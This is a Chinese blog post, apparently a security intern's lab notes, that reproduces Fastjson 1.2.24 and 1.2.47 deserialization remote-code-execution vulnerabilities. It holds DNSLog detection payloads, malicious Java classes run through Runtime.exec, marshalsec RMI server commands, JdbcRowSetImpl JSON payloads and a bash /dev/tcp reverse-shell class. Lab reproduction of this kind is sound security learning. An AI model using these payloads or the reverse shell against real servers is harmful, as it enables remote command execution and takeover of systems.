前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >实习记录(四) - Fastjson反序列化漏洞

实习记录(四) - Fastjson反序列化漏洞

作者头像
Naraku
发布2021-07-29 11:26:02
2.2K0
发布2021-07-29 11:26:02
举报
文章被收录于专栏:Naraku的专栏Naraku的专栏

Fastjson 是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 JavaBean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。

漏洞检测

DNSLog回显

  • 通过构造DNS解析来判断是否是Fastjson,Fastjson在解析下面这些Payload时会取解析val的值,从而可以在dnslog接收到回显,以此判断是不是Fastjson
代码语言:javascript
复制
{"a":{"@type":"java.net.Inet4Address","val":"xxx.dnslog.cn"}}

{"@type":"java.net.Inet4Address","val":"xxx.dnslog.cn"}
{"@type":"java.net.Inet6Address","val":"xxx.dnslog.cn"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"xxx.dnslog.cn"}}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"xxx.dnslog.cn"}}""}
{{"@type":"java.net.URL","val":"xxx.dnslog.cn"}:"aaa"}
Set[{"@type":"java.net.URL","val":"xxx.dnslog.cn"}]
Set[{"@type":"java.net.URL","val":"xxx.dnslog.cn"}
{{"@type":"java.net.URL","val":"xxx.dnslog.cn"}:0

增加Key

Java语言中常用的Json处理主要是Fastjson和Jackson,相对而言,Jackson比较严格,强制Key和JavaBean属性对齐,只能少Key不能多Key,所以可以通过增加一个Key看响应包会不会报错来判断。

1.2.24 反序列化导致任意命令执行漏洞

代码语言:javascript
复制
// Payload
{"naraku":{"@type":"java.net.Inet4Address","val":"xxx.dnslog.cn"}}
Fastjson-1.2.24-1
Fastjson-1.2.24-1
Fastjson-1.2.24-2
Fastjson-1.2.24-2
  • 构造恶意文件 TouchFile.java并编译成 class文件
代码语言:javascript
复制
$ vim TouchFile.java
$ javac TouchFile.java
代码语言:javascript
复制
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success.txt"}; 
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}
  • 然后使用Python开启HTTP服务,通过浏览器访问确保可以找到 TouchFile.class文件
  • 同时借助marshalsec启动一个RMI服务器,监听9999端口,并制定加载远程类 TouchFile.classmarshalsec-0.0.3-SNAPSHOT-all.jar可以自己使用Maven构建,也可以直接在这里下载并上传到服务器
代码语言:javascript
复制
$ python -m SimpleHTTPServer 8888
$ java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://服务器IP:8888/#TouchFile" 9999 
Fastjson-1.2.24-3
Fastjson-1.2.24-3
Fastjson-1.2.24-4
Fastjson-1.2.24-4
  • 向靶场服务器发送Payload,带上RMI的地址:
代码语言:javascript
复制
{
    "naraku":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://服务器IP:9999/TouchFile",
        "autoCommit":true
    }
}
Fastjson-1.2.24-5
Fastjson-1.2.24-5

1.2.47 远程命令执行漏洞

Fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。

代码语言:javascript
复制
# Payload
{"a":{"@type":"java.net.Inet4Address","val":"xxx.dnslog.cn"}}
Fastjson-1.2.47-1
Fastjson-1.2.47-1
  • 具体实现和前面差不多,开启HTTP服务(8888端口)和RMI/LDAP服务(9999端口),加载下面的 Exploit.class
代码语言:javascript
复制
$ python -m SimpleHTTPServer 8888
$ java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://<服务器IP>:8888/#Exploit" 9999
  • Exploit.class
代码语言:javascript
复制
public class Exploit {
    public Exploit(){
        try{
            Runtime.getRuntime().exec("touch /tmp/success.txt");
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        Exploit e = new Exploit();
    }
}
  • 发送Payload
代码语言:javascript
复制
{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://<服务器IP>:9999/Exploit",
        "autoCommit":true
    }
}
Fastjson-1.2.47-2
Fastjson-1.2.47-2
Fastjson-1.2.47-3
Fastjson-1.2.47-3
  • 可以看到 success.txt文件被成功创建
Fastjson-1.2.47-4
Fastjson-1.2.47-4

其它

反弹Shell

代码语言:javascript
复制
public class Exploit {
    public Exploit(){
        try{
            Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/服务器IP/端口 0>&1");
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        Exploit e = new Exploit();
    }
}

报错

  • 复现时遇到报错 set property error, autoCommit...
  • 原因:启动RMI服务器会使用2个端口,其中一个固定的,另一个是随机的。而我这里复现时一开始使用的攻击机为阿里云服务器,由于安全组的原因导致出现这个报错。后来将攻击机和靶机都使用虚拟机Kali来完成复现。
  • 参考:issues-169
Fastjson-fail
Fastjson-fail

参考


本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2020 年 07 月,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 漏洞检测
    • DNSLog回显
      • 增加Key
      • 1.2.24 反序列化导致任意命令执行漏洞
      • 1.2.47 远程命令执行漏洞
      • 其它
        • 反弹Shell
          • 报错
            • 参考
            相关产品与服务
            文件存储
            文件存储(Cloud File Storage,CFS)为您提供安全可靠、可扩展的共享文件存储服务。文件存储可与腾讯云服务器、容器服务、批量计算等服务搭配使用,为多个计算节点提供容量和性能可弹性扩展的高性能共享存储。腾讯云文件存储的管理界面简单、易使用,可实现对现有应用的无缝集成;按实际用量付费,为您节约成本,简化 IT 运维工作。
            领券
            问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档